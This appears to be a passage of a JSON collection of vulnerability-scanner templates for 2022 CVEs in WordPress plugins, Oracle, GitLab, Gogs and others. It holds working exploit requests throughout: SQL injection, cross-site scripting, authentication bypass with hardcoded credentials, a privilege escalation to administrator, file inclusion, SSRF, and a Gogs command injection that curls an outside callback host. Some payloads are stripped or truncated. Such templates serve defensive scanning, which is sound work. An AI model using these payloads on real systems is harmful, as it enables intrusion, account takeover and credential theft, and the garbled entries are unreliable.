'';alert(document.domain);//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1580","info":{"name":"Site Offline WP Plugin < 1.5.3 - Authorization Bypass","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/site-offline/readme.txt"],"matchers":[{"type":"word","internal":true,"words":["Site Offline Or Coming Soon Or Maintenance Mode"]}]},{"method":"GET","path":["{{BaseURL}}/?admin"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"wp-block\", \"author\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2022-26148","info":{"name":"Grafana & Zabbix Integration - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?redirect=%2F"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zabbix\":","\"zbx\":","alexanderzobnin-zabbix-datasource"],"condition":"or"},{"type":"regex","part":"body","regex":["\"password\":\"(.*?)\"","\"username\":\"(.*?)\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"password\":\"(.*?)\"","\"username\":\"(.*?)\"","\"url\":\"([a-z:/0-9.]+)\\/api_jsonrpc\\.php"]}]}]},{"id":"CVE-2022-48165","info":{"name":"Wavlink - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportLogs.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Password=","Login="],"condition":"and"},{"type":"word","part":"header","words":["filename=\"sysLogs.txt\""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Password=([^\\s]+)"]}]}]},{"id":"CVE-2022-38322","info":{"name":"Temenos Transact - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsps/helprequest.jsp?url=%27)%22+onerror=%22confirm(%27document.domain%27)%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["setupHelp('')\" onerror=\"confirm('document.domain')"]},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45917","info":{"name":"ILIAS eLearning <7.16 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/shib_logout.php?action=logout&return=https://oast.me","{{BaseURL}}/ilias/shib_logout.php?action=logout&return=https://oast.me"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0963","info":{"name":"Microweber <1.2.12 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /plupload HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034\nReferer: {{BaseURL}}admin/view:modules/load_module:files\n\n-----------------------------59866212126262636974202255034\nContent-Disposition: form-data; name=\"name\"\n\n{{randstr}}.xml\n-----------------------------59866212126262636974202255034\nContent-Disposition: form-data; name=\"chunk\"\n\n0\n-----------------------------59866212126262636974202255034\nContent-Disposition: form-data; name=\"chunks\"\n\n1\n-----------------------------59866212126262636974202255034\nContent-Disposition: form-data; name=\"file\"; filename=\"blob\"\nContent-Type: application/octet-stream\n\nalert(document.domain)\n-----------------------------59866212126262636974202255034--\n","GET /userfiles/media/default/{{to_lower(\"{{randstr}}\")}}.xml HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body_3,\"alert(document.domain)\")","status_code_3==200","contains(body_2,\"bytes_uploaded\")"],"condition":"and"}]}]},{"id":"CVE-2022-35416","info":{"name":"H3C SSL VPN <=2022-07-10 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wnm/login/login.json HTTP/1.1\nHost: {{Hostname}}\nCookie: svpnlang=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31974","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,md5('{{num}}'),5,6,7,8,9,10--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0415","info":{"name":"Gogs <0.12.6 - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on\n","POST /{{username}}/{{randstr}}/upload-file HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nX-Requested-With: XMLHttpRequest\nX-Csrf-Token: {{auth_csrf}}\nContent-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395\n\n-----------------------------313811965223810628771946318395\nContent-Disposition: form-data; name=\"file\"; filename=\"config\"\nContent-Type: application/octet-stream\n\n[core]\n repositoryformatversion = 0\n filemode = true\n bare = false\n logallrefupdates = true\n ignorecase = true\n precomposeunicode = true\n sshCommand = curl http://{{interactsh-url}} -I\n[remote \"origin\"]\n url = git@github.com:torvalds/linux.git\n fetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"master\"]\n remote = origin\n merge = refs/heads/master\n-----------------------------313811965223810628771946318395--\n","POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"uuid","group":1,"regex":[" \"uuid\": \"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-42094","info":{"name":"Backdrop CMS version 1.23.0 - Stored Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?q=user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in\n","GET /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"title\"\n\n{{randstr}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"files[field_image_und_0]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][fid]\"\n\n0\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][display]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"changed\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_build_id\"\n\n{{form_id_2}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_token\"\n\n{{form_token}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_id\"\n\ncard_node_form\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][value]\"\n\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][format]\"\n\nfull_html\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"status\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"name\"\n\n{{name}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[date]\"\n\n2023-04-13\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[time]\"\n\n21:49:36\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"path[auto]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"comment\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"additional_settings__active_tab\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"op\"\n\nSave\n------WebKitFormBoundaryWEcZgRB4detkrGaY--\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Backdrop CMS"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"name","group":1,"regex":["name=\"name\" value=\"(.*?)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-30073","info":{"name":"WBCE CMS 1.5.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nformtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

    ","WBCECMS"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"formtoken","group":1,"regex":[""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0952","info":{"name":"WordPress Sitemap by click5 <1.0.36 - Missing Authorization","severity":"high"},"requests":[{"raw":["POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"1\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"default_role\":\"administrator\"}\n","POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json;charset=UTF-8\n\n{\"users_can_register\":\"0\"}\n"],"matchers":[{"type":"dsl","dsl":["contains(header, \"application/json\")","status_code == 200","contains(body_1, 'users_can_register')","contains(body_2, 'default_role')"],"condition":"and"}]}]},{"id":"CVE-2022-21500","info":{"name":"Oracle E-Business Suite <=12.2 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp","{{BaseURL}}/OA_HTML/ibeCRgpPrimaryCreate.jsp","{{BaseURL}}/OA_HTML/ibeCRgpIndividualUser.jsp","{{BaseURL}}/OA_HTML/ibeCRgpPartnerPriCreate.jsp"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Registration","Register as individual",""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38467","info":{"name":"CRM Perks Forms < 1.1.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=&LastName=&%20Company= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(content_type_2, \"text/html\")","contains(body_1, \"CRM Perks Forms\") && contains(body_2, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-0220","info":{"name":"WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_2, 'text/html')","status_code_2 == 200","contains(body_2, '') && contains(body_2, '/wp-content/plugins/')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-26138","info":{"name":"Atlassian Questions For Confluence - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["POST /dologin.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nos_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action\n"],"payloads":{"os_username":["disabledsystemuser"],"os_password":["disabled1system1user6708"]},"attack":"pitchfork","matchers":[{"type":"dsl","dsl":["location == \"/httpvoid.action\""]}]}]},{"id":"CVE-2022-21371","info":{"name":"Oracle WebLogic Server Local File Inclusion","severity":"high"},"requests":[{"method":"GET","raw":["GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n\n"],"payloads":{"path":[".//WEB-INF/weblogic.xml",".//WEB-INF/web.xml"]},"stop-at-first-match":true,"unsafe":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body, \"\")","contains(body, \"\")"],"condition":"or"},{"type":"dsl","dsl":["contains(header, \"text/xml\")","contains(header, \"application/xml\")"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-48012","info":{"name":"OpenCATS 0.9.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntag_title=\n"],"matchers":[{"type":"dsl","dsl":["contains(body_1, \"opencats - Login\")","contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-2376","info":{"name":"WordPress Directorist <7.3.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=directorist_author_pagination"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["directorist-authors__card__details__top","directorist-authors__card__info-list"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29007","info":{"name":"Dairy Farm Shop Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /dfsms/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=admin' or '1'='1&password=1&login=login\n","GET /dfsms/add-category.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Add Product","Admin","DFSMS"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22963","info":{"name":"Spring Cloud - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /functionRouter HTTP/1.1\nHost: {{Hostname}}\nspring.cloud.function.routing-expression: T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")\nContent-Type: application/x-www-form-urlencoded\n\n{{rand_base(8)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http","dns"],"condition":"or"},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-25489","info":{"name":"Atom CMS v2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/widgets/debug.php?a="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Path Array","console-debug"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34534","info":{"name":"Digital Watchdog DW Spectrum Server 4.2.0.32842 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/moduleInformation"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"name\\\":\", \"cloudHost\\\":\", \"remoteAddresses\")","contains(header, \"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2022-0692","info":{"name":"Rudloff alltube prior to 3.0.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-1386","info":{"name":"WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\naction=fusion_form_update_view\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268\nOrigin: {{BaseURL}}\nReferer: {{RootURL}}\n\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"formData\"\n\nemail=example%40oast.me&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva\ncy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data=\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"action\"\n\nfusion_form_submit_form_to_url\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusion_form_nonce\"\n\n{{fusionformnonce}}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"form_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"post_id\"\n\n0\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"field_labels\"\n\n{\"email\":\"Email address\"}\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"hidden_field_names\"\n\n[]\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionAction\"\n\nhttps://oast.me\n-----------------------------30259827232283860776499538268\nContent-Disposition: form-data; name=\"fusionActionMethod\"\n\nGET\n-----------------------------30259827232283860776499538268--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Interactsh Server"]},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"fusionformnonce","internal":true,"xpath":["//*[@id=\"fusion-form-nonce-0\"]"],"attribute":"value","part":"body_1"}]}]},{"id":"CVE-2022-0169","info":{"name":"Photo Gallery by 10Web < 1.6.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-21587","info":{"name":"Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````\"]P-%;HR5LG>@```'H```!#````+BXO+BXO+BXO+BXO+BXO\nM1DU77TAO;64O3W)A8VQE7T5\"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.\nM1%=24BYP;'5S92!#1TD[\"G!R:6YT($-'23HZ:&5A9&5R*\"`M='EP92`]/B`G\nM=&5X=\"]P;&%I;B<@*3L*;7D@)&-M9\"`](\")E8VAO($YU8VQE:2U#5D4M,C`R\nM,BTR,34X-R([\"G!R:6YT('-Y@```$,``````````````+2!`````\"XN+RXN\nM+RXN+RXN+RXN+T9-5U](;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO&M&3D174E(N<&Q02P4&``````$``0!Q````VP``````\n`\nend\n------WebKitFormBoundaryZsMro0UsAQYLDZGv--\n","GET /OA_CGI/FNDWRR.exe HTTP/1.1\nHost: {{Hostname}}\n","POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````&UP-%:3!M=6","status_code == 200","contains(body, \"Account added successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-46888","info":{"name":"NexusPHP <1.7.33 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php?secret=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">\">","NexusPHP"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31978","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_inquiry HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-2185","info":{"name":"GitLab CE/EE - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["003236d7e2c5f1f035dc8b67026d7583ee198b568932acd8faeac18cec673dfa","1062bbba2e9b04e360569154a8df8705a75d9e17de1a3a9acd5bd20f000fec8b","1832611738f1e31dd00a8293bbf90fce9811b3eea5b21798a63890dbc51769c8","1ae98447c220181b7bd2dfe88018cb6e1b1e4d12d7b8c224d651a48ed2d95dfe","1d765038b21c5c76ff8492561c29984f3fa5c4b8cfb3a6c7b216ac8ab18b78c7","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","2ea7e9be931f24ebc2a67091b0f0ff95ba18e386f3d312545bb5caaac6c1a8be","301b60d2c71a595adfb65b22edee9023961c5190e1807f6db7c597675b0a61f0","383b8952f0627703ada7774dd42f3b901ea2e499fd556fce3ae0c6d604ad72b7","4f233d907f30a050ca7e40fbd91742d444d28e50691c51b742714df8181bf4e7","50d9206410f00bb00cc8f95865ab291c718e7a026e7fdc1fc9db0480586c4bc9","515dc29796a763b500d37ec0c765957a136c9e1f1972bb52c3d7edcf4b6b8bbe","57e83f1a3cf7c0fe3cf2357802306688dab60cf6a30d00e14e67826070db92de","5cd37ee959b5338b5fb48eafc6c7290ca1fa60e653292304102cc19a16cc25e4","5df2cb13ec314995ea43d698e888ddb240dbc7ccb6e635434dc8919eced3e25f","6a58066d1bde4b6e661fbd5bde83d2dd90615ab409b8c8c36e04954fbd923424","6eb5eaa5726150b8135a4fd09118cfd6b29f128586b7fa5019a04f1c740e9193","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","739a920f5840de93f944ec86c5a181d0205f1d9e679a4df1b9bf5b0882ab848a","775f130d36e9eb14cb67c6a63551511b87f78944cebcf6cdddb78292030341df","7d0792b17e1d2ccac7c6820dda1b54020b294006d7867b7d78a05060220a0213","8b78708916f28aa9e54dacf9c9c08d720837ce78d8260c36c0f828612567d353","90abf7746df5cb82bca9949de6f512de7cb10bec97d3f5103299a9ce38d5b159","95ae8966ec1e6021f2553c7d275217fcfecd5a7f0b206151c5fb701beb7baf1e","a4333a9de660b9fc4d227403f57d46ec275d6a6349a6f5bda0c9557001f87e5d","a6d68fb0380bece011b0180b2926142630414c1d7a3e268fb461c51523b63778","a743f974bacea01ccc609dcb79247598bd2896f64377ce4a9f9d0333ab7b274e","a8bf3d1210afa873d9b9af583e944bdbf5ac7c8a63f6eccc3d6795802bd380d2","ba74062de4171df6109c4c96da1ebe2b538bb6cc7cd55867cbdfba44777700e1","c91127b2698c0a2ae0103be3accffe01995b8531bf1027ae4f0a8ad099e7a209","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","e539e07c389f60596c92b06467c735073788196fa51331255d66ff7afde5dfee","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac","ff058b10a8dce9956247adba2e410a7f80010a236b2269fb53e0df5cd091e61d"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-0165","info":{"name":"WordPress Page Builder KingComposer <=2.9.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2022-24899","info":{"name":"Contao <4.13.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","\"Not authenticated\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2022-1020","info":{"name":"WordPress WooCommerce <3.1.2 - Arbitrary Function Call","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_key=a&perpose=update&callback=phpinfo\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2022-1442","info":{"name":"WordPress Metform <=2.1.3 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["mf_recaptcha_secret_key","admin_email_from"],"condition":"and"},{"type":"word","part":"header_2","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"id","group":1,"regex":["

